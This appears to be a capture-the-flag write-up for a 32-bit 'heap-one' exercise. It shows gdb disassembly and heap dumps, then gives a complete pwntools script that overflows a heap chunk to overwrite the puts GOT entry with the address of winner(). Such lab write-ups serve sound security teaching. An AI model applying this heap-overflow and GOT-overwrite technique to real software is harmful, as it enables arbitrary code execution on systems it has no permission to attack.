i486

x86 32bit version of the heap-one exercise.

Now we understand how the program works after reading the source code it might be a good ideia to also take a look into the assembly code.

Let's open the program in gdb and run it with regular arguments, just to start our dynamic analysis.

(gdb) set args AAAA BBBB
(gdb) r

This time the program won't give up any useful information like in heap-zero, so it's gdb-fu time. Let's disassemble the main function as usual.

(gdb) disas main
Dump of assembler code for function main:
   0x080487d5 <+0>:	lea    ecx,[esp+0x4]
   0x080487d9 <+4>:	and    esp,0xfffffff0
   0x080487dc <+7>:	push   DWORD PTR [ecx-0x4]
   0x080487df <+10>:	push   ebp
   0x080487e0 <+11>:	mov    ebp,esp
   0x080487e2 <+13>:	push   ebx
   0x080487e3 <+14>:	push   ecx
   0x080487e4 <+15>:	sub    esp,0x10
   0x080487e7 <+18>:	mov    ebx,ecx
   0x080487e9 <+20>:	sub    esp,0xc
   0x080487ec <+23>:	push   0x8
   0x080487ee <+25>:	call   0x80490dc <malloc>
   0x080487f3 <+30>:	add    esp,0x10
   0x080487f6 <+33>:	mov    DWORD PTR [ebp-0xc],eax
   0x080487f9 <+36>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080487fc <+39>:	mov    DWORD PTR [eax],0x1
   0x08048802 <+45>:	sub    esp,0xc
   0x08048805 <+48>:	push   0x8
   0x08048807 <+50>:	call   0x80490dc <malloc>
   0x0804880c <+55>:	add    esp,0x10
   0x0804880f <+58>:	mov    edx,eax
   0x08048811 <+60>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048814 <+63>:	mov    DWORD PTR [eax+0x4],edx
   0x08048817 <+66>:	sub    esp,0xc
   0x0804881a <+69>:	push   0x8
   0x0804881c <+71>:	call   0x80490dc <malloc>
   0x08048821 <+76>:	add    esp,0x10
   0x08048824 <+79>:	mov    DWORD PTR [ebp-0x10],eax
   0x08048827 <+82>:	mov    eax,DWORD PTR [ebp-0x10]
   0x0804882a <+85>:	mov    DWORD PTR [eax],0x2
   0x08048830 <+91>:	sub    esp,0xc
   0x08048833 <+94>:	push   0x8
   0x08048835 <+96>:	call   0x80490dc <malloc>
   0x0804883a <+101>:	add    esp,0x10
   0x0804883d <+104>:	mov    edx,eax
   0x0804883f <+106>:	mov    eax,DWORD PTR [ebp-0x10]
   0x08048842 <+109>:	mov    DWORD PTR [eax+0x4],edx
   0x08048845 <+112>:	mov    eax,DWORD PTR [ebx+0x4]
   0x08048848 <+115>:	add    eax,0x4
   0x0804884b <+118>:	mov    edx,DWORD PTR [eax]
   0x0804884d <+120>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048850 <+123>:	mov    eax,DWORD PTR [eax+0x4]
   0x08048853 <+126>:	sub    esp,0x8
   0x08048856 <+129>:	push   edx
   0x08048857 <+130>:	push   eax
   0x08048858 <+131>:	call   0x8048560 <strcpy@plt>
   0x0804885d <+136>:	add    esp,0x10
   0x08048860 <+139>:	mov    eax,DWORD PTR [ebx+0x4]
   0x08048863 <+142>:	add    eax,0x8
   0x08048866 <+145>:	mov    edx,DWORD PTR [eax]
   0x08048868 <+147>:	mov    eax,DWORD PTR [ebp-0x10]
   0x0804886b <+150>:	mov    eax,DWORD PTR [eax+0x4]
   0x0804886e <+153>:	sub    esp,0x8
   0x08048871 <+156>:	push   edx
   0x08048872 <+157>:	push   eax
   0x08048873 <+158>:	call   0x8048560 <strcpy@plt>
   0x08048878 <+163>:	add    esp,0x10
   0x0804887b <+166>:	sub    esp,0xc
   0x0804887e <+169>:	push   0x804ab70
   0x08048883 <+174>:	call   0x80485b0 <puts@plt>
   0x08048888 <+179>:	add    esp,0x10
   0x0804888b <+182>:	mov    eax,0x0
   0x08048890 <+187>:	lea    esp,[ebp-0x8]
   0x08048893 <+190>:	pop    ecx
   0x08048894 <+191>:	pop    ebx
   0x08048895 <+192>:	pop    ebp
   0x08048896 <+193>:	lea    esp,[ecx-0x4]
   0x08048899 <+196>:	ret    
End of assembler dump.

As we already know, our goal here is to call the winner function, and as I explained before, we have an arbitrary write primitive in our hands. One easy way of abusing this is overwriting the address of some other function that will be called with the address of winner(), for example, that being said, our best choice would be puts(), since it will be called short after our input is copied. For that we'll need to find the Global Offset Table (GOT) entry for puts().

(gdb) disas 0x80485b0 
Dump of assembler code for function puts@plt:
   0x080485b0 <+0>:	jmp    DWORD PTR ds:0x804c140
   0x080485b6 <+6>:	push   0x28
   0x080485bb <+11>:	jmp    0x8048550
End of assembler dump.
(gdb) x 0x804c140
0x804c140 <puts@got.plt>:	0x080485b6

The address we want to overwrite can be found at 0x804c140. We also need the address of the winner function since it is the value we want to write.

(gdb) x winner
0x804889a <winner>:	0x83e58955

And winner() can be found at 0x804889a. Perfect! Now let's take a good look at the heap layout to more easily calculate our padding, to do this I'll set a breakpoint after the last malloc and also another one after each strcpy().

(gdb) b*0x0804883a
Breakpoint 1 at 0x804883a
(gdb) b*0x0804885d
Breakpoint 2 at 0x804885d
(gdb) b*0x08048878
Breakpoint 3 at 0x8048878

Taking a look at the heap after our first breakpoint:

(gdb) x/64wx 0xf7e69000
0xf7e69000:	0x00000000	0x00000011	0x00000001	0xf7e69018
0xf7e69010:	0x00000000	0x00000011	0x00000000	0x00000000
0xf7e69020:	0x00000000	0x00000011	0x00000002	0x00000000
0xf7e69030:	0x00000000	0x00000011	0x00000000	0x00000000
0xf7e69040:	0x00000000	0x000fffc1	0x00000000	0x00000000
0xf7e69050:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69060:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69070:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69080:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e69090:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690a0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690b0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690c0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690d0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690e0:	0x00000000	0x00000000	0x00000000	0x00000000
0xf7e690f0:	0x00000000	0x00000000	0x00000000	0x00000000

Now let's break it down:

At this point the first strcpy() did not happen yet. As we predicted, the second word of the first chunk is a pointer to WHERE to write the user input, and we should expect a similar structure on i2 (the second chunk). Now we know where our argv[1] goes (0xf7e69018) and we can easily predict where our juicy pointer will be, we can calculate our offset, i2->name will be the word after the second priority (2), meaning it's address will be 0xf7e6902c. This reveals that we want to write 20 bytes of junk + the address where we want to write (puts@got) and argv[2] will be the value we want to write (*winner).

The expected heap layout right before the last strcpy() is the following:

0xf7e69000:	0x00000000	0x00000011	0x00000001	0xf7e69018
0xf7e69010:	0x00000000	0x00000011	0x41414141	0x41414141
0xf7e69020:	0x41414141	0x41414141	0x41414141	0x0804c140
0xf7e69030:	0x00000000	0x00000011	0x00000000	0x00000000
0xf7e69040:	0x00000000	0x000fffc1	0x00000000	0x00000000

with that layout, whatever value we provide in our second argument will be written to puts@got, so we simply need to provide the address of winner as the second argument.

Putting it all together we come down to the following exploit code:

#!/usr/bin/env python
from pwn import *

junk = 'A'*20
got_puts = p32(0x804c140)
dest = junk + got_puts

winner = p32(0x804889a)

p = process(['./heap-one', dest, winner])
out = p.recv(1024)
print out

Lessons learned, pay attention to any write actions that use pointers you might be able to overwrite, those tend to be very interesting.

Last updated